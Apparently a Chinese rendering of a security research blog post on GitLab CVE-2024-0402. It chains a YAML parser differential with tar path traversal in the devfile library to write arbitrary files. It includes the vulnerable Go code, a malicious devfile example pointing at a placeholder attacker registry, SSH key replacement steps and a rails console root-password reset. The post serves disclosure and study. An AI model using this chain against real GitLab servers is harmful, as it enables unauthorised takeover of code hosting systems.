引言
Doyensec在地中海游轮公司团建期间,通过黑客会议分析真实世界漏洞,形成了!exploitable博客系列。在第一部分中,我们涵盖了IoT ARM漏洞利用的旅程,第二部分则跟随我们尝试利用《黑客帝国:重装上阵》中Trinity使用的漏洞。
在本期中,我们将深入分析GitLab中CVE-2024-0402的漏洞利用。就像洋葱一样,这个漏洞总是有另一层表面之下,从YAML解析器差异到解压缩函数中的路径遍历,最终实现在GitLab中的任意文件写入。
背景信息
此漏洞影响GitLab工作区功能。简而言之,它让开发人员能够即时启动集成开发环境(IDE),其中包含所有依赖项、工具和配置。
整个工作区功能依赖于多个组件,包括运行的Kubernetes GitLab Agent和devfile配置。
Kubernetes GitLab Agent:将GitLab连接到Kubernetes集群,允许用户启用部署过程自动化,并更轻松地集成GitLab CI/CD流水线。它还允许创建工作区。
Devfile:这是一个定义容器化开发环境的开放标准。它使用YAML文件配置,用于定义特定项目所需的工具、运行时和依赖项。
漏洞分析
YAML解析器差异
GitLab使用devfile Gem(当然是Ruby)调用外部devfile二进制文件(用Go编写),以在特定存储库中的工作区创建期间处理.devfile.yaml文件。
在工作区应用的devfile预处理例程中,特定的验证器validate_parent被GitLab中的PreFlattenDevfileValidator调用。
1
2
3
4
5
|
def self.validate_parent(value)
value => { devfile: Hash => devfile }
return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
Result.ok(value)
end
|
但什么是parent选项?根据Devfile文档:
如果指定了父devfile,给定的devfile将从其父级继承所有行为。仍然可以使用子devfile覆盖父devfile的某些内容。
作者为我们提供了一个新的技巧。在YAML规范中:
- 单感叹号
!用于自定义或应用程序特定数据类型
- 双感叹号
!!用于内置YAML类型
他发现本地YAML标签符号!仍然在Ruby yaml库中激活二进制格式base64解码,而Go的gopkg.in/yaml.v3只是丢弃它,导致以下行为:
1
2
3
4
5
6
7
8
9
10
11
12
|
➜ cat test3.yaml
normalk: just a value
!binary parent: got injected
### 在解析版本中添加了有效的parent选项(!binary被丢弃)
➜ go run g.go test3.yaml
parent: got injected
normalk: just a value
### 作为Base64解码值的无效parent选项(!binary被评估)
➜ ruby -ryaml -e 'x = YAML.safe_load(File.read("test3.yaml"));puts x'
{"normalk"=>"just a value", "\xA5\xAA\xDE\x9E"=>"got injected"}
|
因此,可以通过validate_parent函数向GitLab传递带有parent选项的devfile,并在devfile二进制执行中到达它。
任意文件写入
此时,我们需要切换到在devfile二进制文件(Go实现)中发现的错误。
在查看依赖项的依赖项之后,研究人员找到了decompress函数。该函数从注册表的库中获取tar.gz存档,并将文件提取到GitLab服务器内部。然后,应将它们移动到部署的工作区环境中。
以下是getResourcesFromRegistry使用的易受攻击的解压缩函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
var returnedErr error
reader, err := os.Open(filepath.Clean(tarFile))
...
gzReader, err := gzip.NewReader(reader)
...
tarReader := tar.NewReader(gzReader)
for {
header, err := tarReader.Next()
...
target := path.Join(targetDir, filepath.Clean(header.Name))
switch header.Typeflag {
...
case tar.TypeReg:
/* #nosec G304 -- target is produced using path.Join which cleans the dir path */
w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
if err != nil {
returnedErr = multierror.Append(returnedErr, err)
return returnedErr
}
/* #nosec G110 -- starter projects are vetted before they are added to a registry. Their contents can be seen before they are downloaded */
_, err = io.Copy(w, tarReader)
if err != nil {
returnedErr = multierror.Append(returnedErr, err)
return returnedErr
}
err = w.Close()
if err != nil {
returnedErr = multierror.Append(returnedErr, err)
return returnedErr
}
default:
log.Printf("Unsupported type: %v", header.Typeflag)
}
}
return nil
}
|
该函数打开tarFile并使用tarReader.Next()遍历其内容。仅处理tar.TypeDir和tar.TypeReg类型的内容,防止符号链接和其他嵌套利用。
然而,行target := path.Join(targetDir, filepath.Clean(header.Name))容易受到路径遍历攻击,原因如下:
header.Name来自devfile注册表提供的远程tar存档
- 已知
filepath.Clean无法防止相对路径上的路径遍历(../不会被删除)
结果执行将类似于:
1
2
3
4
5
6
|
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // 绝对路径
fmt.Println(filepath.Clean("../../../../../../../tmp/test")) // 相对路径
// 输出
/tmp/test
../../../../../../../tmp/test
|
漏洞链连接
- devfile库中从远程注册表获取文件的解压缩问题允许包含恶意.tar存档的devfile注册表在devfile客户端系统内写入任意文件
- 在GitLab中,开发人员可以制作一个bad-yet-valid的.devfile.yaml定义,包括parent选项,这将强制GitLab服务器使用恶意注册表,从而在服务器本身上触发任意文件写入
利用此漏洞的要求:
- 以能够向存储库提交代码的开发人员身份访问目标GitLab
- 在GitLab实例上正确配置了工作区功能(v16.8.0及以下版本)
利用过程
环境配置
要配置GitLab中的工作区:
- 遵循GitLab 16.8文档页面,而不是最新版本
- 修补缺失的web-ide-injector容器镜像
- GitLab Agent必须具有
remote_development选项以允许工作区
构建恶意devfile注册表
需要部署自定义devfile注册表,通过以下步骤使其恶意:
- 将包含路径遍历的.tar文件放置在注册表项目中:
malicious-registry/stacks/nodejs/2.2.1/archive.tar
- 创建适当的index.json来提供服务
- 运行恶意devfile注册表
触发漏洞
一旦目标GitLab实例可以访问正在运行的注册表,只需以开发人员身份在GitLab中进行身份验证,并编辑存储库的.devfile.yaml以通过利用之前显示的YAML解析器差异指向它。以下是可使用的示例:
1
2
3
4
5
6
7
8
9
10
|
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
|
要触发文件写入,只需在编辑的存储库中启动新的工作区并等待。
权限提升
获得任意文件写入能力后,可以替换SSH授权密钥文件:
- 创建包含非受限密钥的新.tar文件
- 替换恶意devfile注册表中的archive.tar
- 重建其镜像并运行
- 通过在GitLab Web UI中创建新的工作区再次触发漏洞
成功后,可以SSH作为不受限的git用户,并可以更改GitLab Web root用户的密码:
1
2
3
4
5
6
7
8
|
➜ ssh -i ~/.ssh/gitlab2 git@gitinstance.local
➜ git@gitinstance.local:~$ gitlab-rails console --environment production
irb(main):002:0> user = User.find_by_username 'root'
irb(main):003:0> new_password = 'ItIsPartyTime!'
irb(main):004:0> user.password = new_password
irb(main):005:0> user.password_confirmation = new_password
irb(main):006:0> user.password_automatically_set = false
irb(main):007:0> user.save!
|
结论
我们成功构建了CVE-2024-0402的PoC,尽管存在时间和连接限制。这再次证明,由于配置时间限制,只有少数人冒险的地方可以找到非常好的错误。
这个漏洞链展示了从YAML解析差异到路径遍历实现任意文件写入的完整过程,最终通过SSH密钥替换获得服务器访问权限。